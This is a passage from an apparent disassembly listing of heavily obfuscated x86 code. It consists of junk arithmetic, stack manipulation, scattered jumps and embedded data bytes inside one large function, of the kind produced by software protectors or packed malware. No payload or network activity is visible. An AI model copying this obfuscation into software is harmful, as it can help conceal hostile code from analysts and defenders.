edi, 4 mov ecx, edi jmp loc_55DA7C ; --------------------------------------------------------------------------- loc_55F244: ; CODE XREF: sub_542C3C+1B9E1j pop esp mov word ptr [esp+0B2h+var_B2], bx push edx push ebx jmp loc_55A443 ; --------------------------------------------------------------------------- dd 7912EBB8h, 30772D6Bh, 0E8C16048h, 3E0C105h, 5B4D68h dd 240C8900h, 5B122FB9h, 0FFBB5339h, 29FFFFFFh, 6720E9D9h dd 0E951FFFFh, 9596h ; --------------------------------------------------------------------------- loc_55F280: ; CODE XREF: sub_542C3C+21289j pop esi sub ebp, edx pop edx jmp loc_565AAE ; --------------------------------------------------------------------------- db 52h, 0FFh, 74h dd 148B0424h, 0E0895024h, 405h, 74D9E900h, 34FF0000h, 0E9515824h dd 40E4h, 129D68h, 241C8900h, 4BBh, 24448100h, 237E3B04h dd 9850E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F2C2: ; CODE XREF: sub_542C3C+25730j or ebp, 104678CEh shl ebp, 1 shr ebp, 6 sub ebp, 5E2BDFEAh add ebx, ebp pop ebp add ecx, ebx jmp loc_55874A ; --------------------------------------------------------------------------- loc_55F2DD: ; CODE XREF: sub_542C3C+15D3Fj push ecx mov ecx, 4F5F106Bh add ecx, 0B0A0EF99h add edx, ecx pop ecx sub edx, 4 xchg edx, [esp+8Ch+var_8C] pop esp mov [esp+88h+var_88], edi jmp loc_55FD9E ; --------------------------------------------------------------------------- a313S db '3<$1<$3<$é',9,'"',0 align 4 loc_55F30C: ; CODE XREF: sub_542C3C+1A7B3j sub edx, 18862AF4h sub ecx, 3B1753E8h add ecx, edx add ecx, 3B1753E8h jmp loc_564E57 ; --------------------------------------------------------------------------- db 88h, 0FDh, 0E9h dd 8EC8h, 0E9240487h, 0FFFF8580h, 172E2D5Ch, 432D718Fh dd 1687F32h, 324305F8h, 0EC83687Fh, 240C8904h, 8F172EB9h dd 36E90571h, 0C801597Fh, 7F36E92Dh, 72E95959h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F363: ; CODE XREF: sub_542C3C+19392j pop eax add esp, 4 push ebx jmp loc_564DDE ; --------------------------------------------------------------------------- loc_55F370: ; CODE XREF: sub_542C3C+12120j pop eax push 3C6Eh mov [esp+74h+var_74], ebp jmp loc_565609 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFF8024h, 14F75149h, 240C8B24h, 4C481h, 0E9810000h dd 0DD0AA01h, 8159CF09h, 4ECh, 24348900h, 912F75BEh, 57CE812Eh dd 4663C95Bh, 71E1CE81h, 0F6811D0Fh, 4193211Ah, 7A2FE681h dd 0EE81735Ah, 0D8202639h, 505EF709h, 0DC3E79B8h, 2F020556h dd 4AE92796h, 0BF000026h, 46C105CAh, 0FF8BC2E9h, 30C581FFh dd 0E92C0D21h, 0FFFF8D6Ch, 0E9DE0158h, 0FFFFF187h, 0D02836B2h dd 74E95A66h, 3300007Ah, 0FF5C2414h, 0C8B2434h, 4C48324h dd 561068h, 0D889E900h, 0E981FFFFh, 1D5535F9h, 0C181D901h dd 1D5535F9h, 0FFD46BE9h, 4D800FFh, 1EB15156h db 28h, 0C8h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_553C87 ; --------------------------------------------------------------------------- db 0D0h, 0E7h, 80h dd 0C78039CFh, 5BFA3088h, 28ADEA80h, 62A3E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F45A: ; CODE XREF: sub_542C3C+23882j mov esp, [esp+78h+var_78] sub esp, 4 mov [esp+7Ch+var_7C], ecx sub esp, 4 mov [esp+80h+var_80], esi jmp loc_55C924 ; --------------------------------------------------------------------------- dw 2068h dd 8900000Eh, 0EC83242Ch, 243C8904h, 1C4306BFh, 4EC834Dh dd 727CE9h, 24048F00h, 3AB9E95Ch, 1C870000h, 24248B24h dd 0E9243489h, 9107h, 59CE015Fh, 5C243487h, 0E9028864h dd 0FFFF8550h, 339B68h, 6C34E900h, 222C0000h, 4EC81h, 0C890000h dd 2AB35324h, 0EB80DBF6h, 533BB1F9h, 0FFF785E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F4D5: ; CODE XREF: sub_542C3C+16B07j add eax, 2C8F0AA8h add eax, edx push edi jmp loc_5574FE ; --------------------------------------------------------------------------- loc_55F4E2: ; CODE XREF: sub_542C3C+18FA8j push 309917FAh jmp loc_5599BD ; --------------------------------------------------------------------------- dd 5256E829h, 26CFBF57h, 0FA89639Bh, 5395BE5Fh, 0D63106C0h dd 0EDCE815Ah, 0E95EDB0Ch, 0FFFF535Ch, 83242489h, 8B042404h dd 81532414h, 4ECh, 4F1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F522: ; CODE XREF: sub_542C3C+16D56j pop edx mov ecx, [esp+9Ah+var_9C+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop ebp loc_55F53A: ; CODE XREF: sub_542C3C+18D26j push 5034h mov [esp+9Ah+var_9C+2], esi jmp loc_556C2D ; --------------------------------------------------------------------------- db 89h dd 3FB82404h, 94E0654h, 0B95158C7h, 20004D94h, 0FF5679E9h dd 5E8F68FFh, 0E95E5B2Dh, 0FFFFFA4Dh ; --------------------------------------------------------------------------- loc_55F568: ; CODE XREF: sub_542C3C+1BF25j xchg ebp, [esp+0A2h+var_A2] jmp loc_55C6D8 ; --------------------------------------------------------------------------- dd 0AE1F52BAh, 4DC2815Eh, 68349148h, 1644h, 0BD242C89h dd 58070FF6h, 1ED81h, 29E90000h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F593: ; CODE XREF: sub_542C3C+1C53Dj push edi inc [esp+9Ch+var_9C] pop edi shl edi, 4 jmp loc_568856 ; --------------------------------------------------------------------------- dd 0C105E9C1h, 0E1C106E1h, 0E8DEE908h, 0F901FFFFh, 240C875Fh dd 4EC815Ch, 89000000h, 45E92414h, 64FFFF5Ch, 0F7E932FFh dd 29FFFF95h, 0BF52E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5D2: ; CODE XREF: sub_542C3C+148D2j sub esp, 4 mov [esp], ecx mov ecx, 6D993FC7h or ecx, 60725207h shr ecx, 6 jmp loc_563EA4 ; --------------------------------------------------------------------------- loc_55F5EB: ; CODE XREF: sub_542C3C+22A9Cj mov edx, [esp] add esp, 4 or ebp, 24C9372Bh jmp loc_558841 ; --------------------------------------------------------------------------- db 58h dd 59D8BE56h, 0E3E9726Ch, 83000010h, 248904ECh, 4BE5624h dd 1000000h, 5E042474h, 0E92434FFh, 385h, 89CA8952h, 4B56E9D0h dd 51460000h, 0EC52C0B9h, 55D1F70Dh, 0A330B7BDh, 0CAF5815Dh dd 31D3A41Eh, 0CE295DE9h, 6BC18159h, 14A5B2Dh, 6BE981F1h dd 0E94A5B2Dh, 46D0h ; --------------------------------------------------------------------------- loc_55F65C: ; CODE XREF: sub_542C3C+14D0Aj pop esp sub esp, 4 jmp loc_561940 ; --------------------------------------------------------------------------- db 5Dh, 31h, 54h dd 65E90424h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F66F: ; CODE XREF: sub_542C3C+1801Ej shl ebx, 7 not ebx add ebx, 8FC1555Fh sub eax, 49BA416Ch jmp loc_556626 ; --------------------------------------------------------------------------- dd 589FC380h, 0E950F328h, 0FFFFCB26h ; --------------------------------------------------------------------------- loc_55F690: ; CODE XREF: sub_542C3C+13F7Aj push esi jmp loc_55E22A ; --------------------------------------------------------------------------- dw 0CF81h dd 58164252h, 0FFFB1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6A1: ; CODE XREF: sub_542C3C+1DAADj mov eax, 5F446843h xor ebx, eax mov eax, [esp+80h+var_80] add esp, 4 push ebp mov ebp, ebx mov esi, ebp pop ebp jmp loc_563307 ; --------------------------------------------------------------------------- dd 33241C31h, 685C241Ch, 16A4h, 54240C89h, 592434FFh, 4C481h dd 0C1810000h, 4, 4C181h, 0C870000h, 24248B24h, 4C781h dd 0C7810000h, 2, 0E9243C87h, 0FFFFB4A2h ; --------------------------------------------------------------------------- loc_55F6FC: ; CODE XREF: sub_542C3C+158E6j pop esp mov [esp+0A2h+var_A2], ecx mov ecx, esp push ebx jmp loc_55A7A9 ; --------------------------------------------------------------------------- dd 5075EF80h, 0A52C6EB0h, 0E958C730h, 0FFFFBFD8h, 81243C8Bh dd 4C4h, 14875E00h, 24248B24h, 0E99CC885h, 0FFFF3E1Ch dd 2552F581h, 0EF2909A0h, 8C7AE9h db 0 ; --------------------------------------------------------------------------- loc_55F73D: ; CODE XREF: sub_542C3C+1C2B6j pop ebp mov ebx, ecx jmp loc_55A35D ; --------------------------------------------------------------------------- db 0B9h, 0BDh, 0CFh dd 0E98118C0h, 11A0D55h, 31E9F101h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F757: ; CODE XREF: sub_542C3C+257F8j shl ah, 7 xor ah, 0A8h push eax not byte ptr [esp+94h+var_94+1] pop eax jmp loc_5571E9 ; --------------------------------------------------------------------------- dd 0FF5FC180h, 83582434h, 0C18004C4h, 0E9CF08F7h, 0FFFF6522h dd 5984ED81h, 0CD81E872h, 66D52388h, 0E581EDD1h, 3EAC6679h dd 0F581D5F7h, 0E559DC69h, 52E9EB29h, 87FFFF9Bh, 875C241Ch dd 295C2414h, 0E99C2404h, 0FFFF3D9Ch ; --------------------------------------------------------------------------- loc_55F7B0: ; CODE XREF: sub_542C3C+1193Bj sub ebp, 0DE14F5C7h add eax, ebp jmp loc_561AD4 ; --------------------------------------------------------------------------- db 52h, 0BAh, 8Eh dd 81749D5Bh, 406998C2h, 23CA8135h, 0C1631B40h, 834A07EAh dd 48904ECh, 0A6BD5524h, 0F7200A7Eh, 70ED81DDh, 0E94E4E2Bh dd 55FFh, 81D5F745h, 386C3AE5h, 4C58143h, 50BFEFBCh, 4736E9h dd 2474FF00h, 2434FF04h, 0E924048Bh, 41CBh, 21FD6866h dd 240C8966h, 0B8665066h, 89664B32h, 665866C1h, 401EC181h dd 6602EC83h, 66240C89h, 66243C87h, 8766DFF7h, 41E9243Ch db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F83F: ; CODE XREF: sub_542C3C+1A842j xchg eax, ebp not ebp jmp loc_561B98 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 14842D04h, 34FF7AC6h, 241C8B24h, 4C481h dd 0C4810000h, 4, 0FFFAC3E9h, 2782BAFFh, 0D729798Bh, 0A008E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F876: ; CODE XREF: sub_542C3C+24CE9j mov ebp, 0FC26EE8h push edx mov edx, 5A610A2Fh add esi, edx pop edx add esi, 589A7877h sub esi, ebp sub esi, 589A7877h sub esi, 5A610A2Fh pop ebp add esi, edx sub esp, 4 mov [esp+50h+var_50], ebp mov ebp, 0FC26EE8h jmp loc_55A13F ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483241Ch, 720AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8BA: ; CODE XREF: sub_542C3C+1D7BCj push ebx push ebp jmp loc_565210 ; --------------------------------------------------------------------------- aIIcs db '‰<$‰çé³/',0 dw 8900h aSV db 'Îé¸v',0 align 2 loc_55F8D2: ; CODE XREF: sub_542C3C+1E81Fj push edx sub esp, 4 mov [esp+60h+var_60], ecx mov ecx, 64BD2ABCh inc ecx shr ecx, 7 add ecx, 40B215EBh and ecx, 6B1D0882h add ecx, 0EDC86180h mov edx, ecx pop ecx sub edx, 0FFFFFFFFh push edx not [esp+60h+var_60] pop edx xor edx, 6A28090Eh add edx, 0FFFFFFFFh not edx sub edx, 0CC2E00C7h xor ebp, edx mov edx, [esp+5Ch+var_5C] add esp, 4 mov ecx, ebp pop ebp jmp loc_55EF75 ; --------------------------------------------------------------------------- loc_55F923: ; CODE XREF: sub_542C3C+1E6F0j add ebx, 10028013h and eax, ebx push [esp+54h+var_54] mov ebx, [esp+58h+var_58] add esp, 4 add esp, 4 or eax, eax jz loc_55AB88 push eax jmp loc_560F01 ; --------------------------------------------------------------------------- dd 0B2E9D1F7h, 0B800002Ch, 54434C95h, 345AE9h, 0A2E95900h dd 68000046h, 6C40h, 68243C89h, 32022714h, 0B6BBE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F972: ; CODE XREF: sub_542C3C+20A8Ej add edx, esi pop esi sub edx, 4 xchg edx, [esp+50h+var_50] pop esp mov [esp+4Ch+var_4C], eax mov eax, 41555243h not eax xor eax, 0BEAAADB8h jmp loc_5542A3 ; --------------------------------------------------------------------------- loc_55F990: ; CODE XREF: sub_542C3C+15DF5j mov cl, ah jmp loc_5569A6 ; --------------------------------------------------------------------------- loc_55F997: ; CODE XREF: sub_542C3C+1B0E1j sub esi, edx sub esi, 60EB332Fh pop edx xor ebx, esi pop esi push edx jmp loc_55D711 ; --------------------------------------------------------------------------- a_vsS db '_Véšs',0 align 10h loc_55F9B0: ; CODE XREF: sub_542C3C+1F737j pop ebx add ebx, 4 jmp loc_55EDAB ; --------------------------------------------------------------------------- loc_55F9BC: ; CODE XREF: sub_542C3C+19575j push edi mov edi, esp push esi mov esi, 4 add edi, esi pop esi sub edi, 4 xchg edi, [esp+0A6h+var_A6] pop esp mov [esp+0A2h+var_A2], ebx mov ebx, 7FE74AEh shr ebx, 1 push eax mov eax, 53355A70h jmp loc_55B39F ; --------------------------------------------------------------------------- db 80h dd 0CAFE70E2h, 42E1E9h db 0 ; --------------------------------------------------------------------------- loc_55F9F1: ; CODE XREF: sub_542C3C+17CB1j push [esp+0A6h+var_A2] pop ebp jmp loc_55937C ; --------------------------------------------------------------------------- loc_55F9FB: ; CODE XREF: sub_542C3C+18103j sub edx, eax pop eax sub eax, edx pop edx push ebx mov ebx, esp jmp loc_5536BB ; --------------------------------------------------------------------------- db 0BAh, 0D3h, 4Bh dd 0B5E90F1Bh, 89000074h, 4812424h, 424h, 0C3815B00h, 4 dd 68B4E9h db 0 ; --------------------------------------------------------------------------- loc_55FA29: ; CODE XREF: sub_542C3C+20918j sub esp, 4 mov [esp+0A6h+var_A6], eax push [esp+0A6h+var_A2] mov eax, [esp+0AAh+var_AA] sub esp, 4 mov [esp+0AEh+var_AE], ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_556D04 ; --------------------------------------------------------------------------- dw 0CD80h dd 80DDF6DCh, 0EA28ACF5h, 26C28059h, 0E95AD530h, 0FFFF7BC1h ; --------------------------------------------------------------------------- loc_55FA64: ; CODE XREF: sub_542C3C+1EA5Bj mov esp, [esp+0B2h+var_B2] jmp loc_567E4C ; --------------------------------------------------------------------------- loc_55FA6C: ; CODE XREF: sub_542C3C+20E10j xor bh, al pop eax or al, bh pop ebx push bx jmp loc_563CFD ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 7276E9h db 0 ; --------------------------------------------------------------------------- loc_55FA81: ; CODE XREF: sub_542C3C+229C8j pop eax add edi, esi mov esi, [esp+0A8h+var_AA+2] add esp, 4 push edx mov edx, edi mov ebp, edx jmp loc_553A41 ; --------------------------------------------------------------------------- loc_55FA94: ; CODE XREF: sub_542C3C+204CEj or ebp, 17DB3411h not ebp shl ebp, 2 push ebx mov ebx, 0FF58D7E1h jmp loc_562227 ; --------------------------------------------------------------------------- dw 8850h dd 0C58851E8h, 8B59EA88h, 0C4812404h, 4, 0D588DAF6h, 80D5F65Ah dd 0EB00F6F5h, 0FF6D23E9h, 0E3BF57FFh, 0E977DA61h, 0FFFF8D74h ; --------------------------------------------------------------------------- loc_55FAD8: ; CODE XREF: sub_542C3C+20A80j add bl, dh mov edx, [esp+0ACh+var_AE+2] add esp, 4 sub bl, al jmp loc_563A41 ; --------------------------------------------------------------------------- loc_55FAEA: ; CODE XREF: sub_542C3C+1101Dj push eax mov eax, esp add eax, 4 jmp loc_55CD19 ; --------------------------------------------------------------------------- db 0B3h dd 0D5C18007h, 5FE9D928h, 0FFFFFFAEh, 8B042474h, 16E9242Ch dd 89000049h, 4C581E5h, 0E9000000h, 0FFFFD0C3h, 0EA81D2F7h dd 3880D1A7h, 215AD789h, 768EE9FBh, 75BDFFFFh, 891FC86Bh dd 0B95DE8h, 134FFB1h, 7E99E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FB42: ; CODE XREF: sub_542C3C+10E00j pop [esp+44h+var_44] add [esp+40h+var_40], 4 push [esp+40h+var_40] mov ebp, [esp+44h+var_44] push edi mov edi, esp add edi, 4 jmp loc_559A26 ; --------------------------------------------------------------------------- loc_55FB5D: ; CODE XREF: sub_542C3C+19D37j jmp loc_55354C ; --------------------------------------------------------------------------- dw 0FF50h dd 58042474h, 6412E9h, 0C3885300h, 0FFE9DE88h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FB77: ; CODE XREF: sub_542C3C+110C4j pop eax push eax mov eax, 32EAE93Fh sub ebx, eax mov eax, [esp+60h+var_60] add esp, 4 push esi push ebx push 180E3F11h pop ebx sub ebx, 0DD9EE276h mov esi, ebx pop ebx and ebx, esi pop esi neg ebx push 3700h mov [esp+60h+var_60], ebp mov ebp, esp push edi jmp loc_566AF6 ; --------------------------------------------------------------------------- dd 5C240C33h, 7281E9h db 0 ; --------------------------------------------------------------------------- loc_55FBB5: ; CODE XREF: sub_542C3C+214EAj mov [esp+64h+var_64], edx mov edx, 1Ch add edx, edi push dword ptr [edx] push eax jmp loc_5639FF ; --------------------------------------------------------------------------- loc_55FBC7: ; CODE XREF: sub_542C3C+1D718j sub ebp, 70BA5897h sub ebp, 75BBA1DDh jmp loc_56608D ; --------------------------------------------------------------------------- dd 2B850h, 0C7010000h, 940AE958h, 2489FFFFh, 24048324h dd 0A8E95D04h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FBF3: ; CODE XREF: sub_542C3C+12775j add esp, 4 add esp, 4 push small 1CF8h mov word ptr [esp+92h+var_94+2], cx push 985h jmp loc_557CA4 ; --------------------------------------------------------------------------- db 8Bh dd 0DFE9240Ch db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC13: ; CODE XREF: sub_542C3C+1D28Bj mov [esp+96h+var_98+2], ebp push [esp+96h+var_94+2] push [esp+9Ah+var_9C+2] mov ebp, [esp] add esp, 4 push ebx jmp loc_556587 ; --------------------------------------------------------------------------- loc_55FC29: ; CODE XREF: sub_542C3C+22D5Bj mov edi, 582F0CF6h dec edi push esi mov esi, 39901A39h jmp loc_55DF63 ; --------------------------------------------------------------------------- dw 8B66h dd 5452240Ch, 6699685Ah, 34890000h, 68525024h, 4040541Ah dd 8E2C15Ah, 6684F281h, 0D0891859h, 0FF60EFE9h, 84BD55FFh dd 0E97C707Eh, 0FFFF50A4h ; --------------------------------------------------------------------------- loc_55FC6C: ; CODE XREF: sub_542C3C+10A7Aj mov [esp+58h+var_58], esi push esp pop esi add esi, 4 jmp loc_560E39 ; --------------------------------------------------------------------------- dd 24048B66h, 81E78957h, 4C7h, 69BE5600h, 0E93D203Ah, 0FFFF9260h dd 8158C301h, 64087FC3h, 34EB816Dh, 0E900A057h, 40D4h ; --------------------------------------------------------------------------- loc_55FCA8: ; CODE XREF: sub_542C3C+20155j pop [esp+58h+var_58] jmp loc_553A2E ; --------------------------------------------------------------------------- dd 2434335Ah, 33243431h, 665C2434h, 9C240CD3h, 0FF3887E9h dd 43E04FFh, 0ED0FE936h, 0EF83FFFFh, 243C8704h, 241C895Ch dd 4BBh, 5BDA2900h, 35A5E9h db 0 ; --------------------------------------------------------------------------- loc_55FCE5: ; CODE XREF: sub_542C3C+2142Fj mov ebp, [esp+54h+var_54] add esp, 4 mov esi, [esp+50h+var_50] add esp, 4 push edx mov edx, 2E6B5F6Ah add edx, 7D3C544Ah shl edx, 7 jmp loc_5618B1 ; --------------------------------------------------------------------------- dd 3600C981h, 2AE96E2Ah, 8300002Ah, 0C48104C4h, 4, 36B35366h dd 8B66DE20h, 0C481241Ch, 2, 1B8DE9h db 0 ; --------------------------------------------------------------------------- loc_55FD31: ; CODE XREF: sub_542C3C+16713j add ecx, 0E85E506Fh push ebx mov ebx, 56C47748h shr ebx, 7 shr ebx, 5 not ebx dec ebx add ebx, 77C11B6h add ebx, 578E920Bh add esi, ebx pop ebx jmp loc_562509 ; --------------------------------------------------------------------------- loc_55FD5A: ; CODE XREF: sub_542C3C+1157Fj sub eax, 52A2C3Ch jmp loc_561FAB ; --------------------------------------------------------------------------- dd 83241C8Bh, 0BD5504C4h, 72E8077Bh, 4AB7E9h db 0 ; --------------------------------------------------------------------------- loc_55FD75: ; CODE XREF: sub_542C3C+1F95Fj pop esp mov [esp+74h+var_74], ebp mov ebp, 3E05E0Ah xor edx, ebp jmp loc_560ADC ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 1000000h, 5904244Ch, 0FF37B7E9h, 2474FFFFh, 8015E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FD9E: ; CODE XREF: sub_542C3C+1C6BDj mov edi, 36330DB7h jmp loc_564AC1 ; --------------------------------------------------------------------------- loc_55FDA8: ; CODE XREF: sub_542C3C+20496j xor [esp+88h+var_88], edi xor edi, [esp+88h+var_88] pop esp cmp ecx, eax pushf jmp loc_55354C ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 5C243C87h, 6C6FE9h db 0 ; --------------------------------------------------------------------------- loc_55FDC9: ; CODE XREF: sub_542C3C+1263Fj sub edx, 4 xchg edx, [esp+0A2h+var_A2] mov esp, [esp+0A2h+var_A2] mov [esp+0A2h+var_A2], ebp jmp loc_564B39 ; --------------------------------------------------------------------------- db 0B8h, 2Eh, 1Bh dd 0C589018Fh, 8324048Bh, 0EA0104C4h, 8EC2815Dh, 524AA947h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 0EC81241Ch, 4 dd 0FF872AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE11: ; CODE XREF: sub_542C3C+20DCBj add esp, 4 xor [esp+9Eh+var_9C+2], eax pop eax mov ecx, [esp+9Ah+var_9C+2] push esi jmp loc_55D64C ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F000000h, 5F68C0B7h, 89000032h, 0E189240Ch, 64096857h dd 0E95F6BEFh, 0FFFFE748h ; --------------------------------------------------------------------------- loc_55FE44: ; CODE XREF: sub_542C3C+2270Dj add ebx, eax push edi jmp loc_55AF48 ; --------------------------------------------------------------------------- loc_55FE4C: ; CODE XREF: sub_542C3C+23080j mov esi, edx push edx mov edx, esi mov edi, edx jmp loc_559B20 ; --------------------------------------------------------------------------- dd 5304C483h, 473F7FBBh, 0E761E91Fh, 0E2BFFFFFh, 505FD06Dh dd 72C6E9h, 24348900h, 8760E9h db 0 ; --------------------------------------------------------------------------- loc_55FE79: ; CODE XREF: sub_542C3C+1A57Bj mov esi, ebp mov ebp, [esp+88h+var_88] push edi push esp jmp loc_563F27 ; --------------------------------------------------------------------------- db 0BAh, 0D1h, 7Ch dd 0E2D144F9h, 0FB7E9h db 0 ; --------------------------------------------------------------------------- loc_55FE91: ; CODE XREF: sub_542C3C+1F815j sub esp, 4 jmp loc_562A87 ; --------------------------------------------------------------------------- dd 0A7E9C201h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FEA3: ; CODE XREF: sub_542C3C+12496j mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub esp, 4 jmp loc_55FC13 ; --------------------------------------------------------------------------- loc_55FECC: ; CODE XREF: sub_542C3C+229D2j or ebp, 57B61E37h push ebx sub esp, 4 mov [esp+0AAh+var_AA], ecx mov ecx, 0FFFFFFFFh push ecx sub [esp+0AEh+var_AE], 9096C56h pop ebx add ebx, 9096C56h pop ecx sub ebp, ebx mov ebx, [esp+0A6h+var_A6] add esp, 4 sub ebp, 57B777B8h and ecx, ebp push [esp+0A2h+var_A2] jmp loc_562AE2 ; --------------------------------------------------------------------------- loc_55FF06: ; CODE XREF: sub_542C3C+1D40Bj xchg ecx, [esp+0A6h+var_A6] pop esp jmp loc_55C086 ; --------------------------------------------------------------------------- aQpIsxsD db 'QP´ÐˆáXé{d',0 dw 8700h dd 8BE9240Ch, 59FFFF5Ah, 0E9243486h, 0FFFF3620h, 0E6E95D54h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF33: ; CODE XREF: sub_542C3C+1ED0Cj xor esi, 33EA503Dh sub esi, 0FFFFFFFFh add esi, 1F36F0CDh jmp loc_55D9C2 ; --------------------------------------------------------------------------- loc_55FF47: ; CODE XREF: sub_542C3C+1330Fj mov [esp+54h+var_54], ebx push ecx push 691A0A0Bh pop ecx sub ecx, 1 push edx mov edx, 77B915CDh jmp loc_560491 ; --------------------------------------------------------------------------- db 40h dd 5307E8C1h, 875549BBh, 8BD8096Dh, 5457241Ch, 4C7815Fh dd 0E9000000h, 0FFFF808Eh, 85BBE941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FF82: ; CODE XREF: sub_542C3C+1DF6Dj sub al, 6 mov edx, [esp+5Ch+var_5C] add esp, 4 push ecx mov ch, 76h sub al, ch pop ecx sub al, 25h add al, 5Fh add al, ch jmp loc_55C8A9 ; --------------------------------------------------------------------------- dw 2C89h dd 13666824h, 61E923C6h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFAB: ; CODE XREF: sub_542C3C+19DC2j mov cx, word ptr [esp+0A2h+var_A2] push 7F69h mov [esp+0A6h+var_A6], ebx push esp mov ebx, [esp+0AAh+var_AA] add esp, 4 jmp loc_5562C0 ; --------------------------------------------------------------------------- dw 1C89h aCmS db '$»ÏCm]é%',0Ah,0 dw 6600h dd 0E99CC885h, 0FFFF9E19h, 0B951E089h, 5EE6E43h, 5E9D1F7h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFEB: ; CODE XREF: sub_542C3C+11C48j add edi, 4 xchg edi, [esp+80h+var_80] pop esp add edi, 4 xchg edi, [esp+7Ch+var_7C] pop esp shr ecx, 0Ah push 3411h mov [esp+7Ch+var_7C], ecx push edi jmp loc_564EB3 ; --------------------------------------------------------------------------- dw 3868h dd 5B29F354h, 3EB6EB81h, 0DBF73509h, 0EE6CBD55h, 4AE9FA53h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560023: ; CODE XREF: sub_542C3C+1892Bj add esi, 444F581Bh shr esi, 2 jmp loc_5550C1 ; --------------------------------------------------------------------------- db 51h, 0FFh, 74h dd 0E9590424h, 0FFFF493Dh ; --------------------------------------------------------------------------- loc_56003C: ; CODE XREF: sub_542C3C+189BCj mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_55FF06 ; --------------------------------------------------------------------------- dd 0FB274135h, 58C331FAh, 1C8BD801h, 0E9545624h, 0EAEh dd 31243C33h, 3C33243Ch, 915AE924h, 0E981FFFFh, 43BC40DDh dd 240C875Ah, 0FFC0C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_56007D: ; CODE XREF: sub_542C3C+25B1Fj push edi mov edi, 385F3D84h jmp loc_567B6D ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 0FF36BAE9h, 242C8BFFh, 8104C483h, 2C1h dd 61B6800h, 0C890000h, 2474FF24h, 48F5904h, 68665C24h dd 6EE94176h, 89FFFF63h, 4C181E1h, 0E9000000h, 0FFFF38A4h ; --------------------------------------------------------------------------- loc_5600C8: ; CODE XREF: sub_542C3C+207F8j pop ebp jmp loc_55C775 ; --------------------------------------------------------------------------- dw 0E589h dd 0FFAB09E9h db 0FFh ; --------------------------------------------------------------------------- loc_5600D5: ; CODE XREF: sub_542C3C+1EE2Cj push ecx push esp mov ecx, [esp+9Ch+var_9C] add esp, 4 sub esp, 4 mov [esp+9Ch+var_9C], ebp mov ebp, 4 push esi jmp loc_55EEBF ; --------------------------------------------------------------------------- db 5Ah, 0FDh, 83h dd 348904ECh, 0A6824h, 34FF0000h, 2434FF24h, 49F3E9h db 0 ; --------------------------------------------------------------------------- loc_560109: ; CODE XREF: sub_542C3C+254A3j push 735A0B5Dh pop ebp shr ebp, 6 jmp loc_56796F ; --------------------------------------------------------------------------- db 89h dd 272D5EF2h, 1176C71h, 712705D0h, 835A176Ch, 72E904ECh db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_56012F: ; CODE XREF: sub_542C3C+202F7j mov [esp+0A0h+var_A2+2], ebx push 3282h push esp pop [esp+0A8h+var_AA+2] push ebp mov ebp, 4 add [esp+0A8h+var_A6+2], ebp jmp loc_565359 ; --------------------------------------------------------------------------- aISzd db '‰,$éz„',0 align 2 dw 2489h dd 24048324h, 24348B04h, 4C481h, 0A7E90000h, 81FFFFE2h dd 0A1456BC5h, 41ED8136h, 8110F97Bh, 8D14CDF5h, 0CC66E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56017E: ; CODE XREF: sub_542C3C+242CDj mov [esp+0A8h+var_AA+2], edx push 239Fh push esp pop [esp+0B0h+var_B2+2] add [esp+0ACh+var_AE+2], 4 mov edx, [esp+0ACh+var_AE+2] add esp, 4 push 21A5h mov [esp+0ACh+var_AE+2], esi jmp loc_5606E2 ; --------------------------------------------------------------------------- loc_5601A4: ; CODE XREF: sub_542C3C+14B50j push ecx mov ecx, 67A0063Ah not ecx shr ecx, 7 sub esp, 4 mov [esp+0C2h+var_C2], edi mov edi, 2C6214CBh sub edi, 0D43667A6h add ecx, edi pop edi sub ebx, ecx jmp loc_557CAC ; --------------------------------------------------------------------------- dw 0C383h dd 758FE904h, 0BD550000h, 0BE93C4Fh, 0FFE9504Dh, 81000069h dd 2C7h, 0F114E900h, 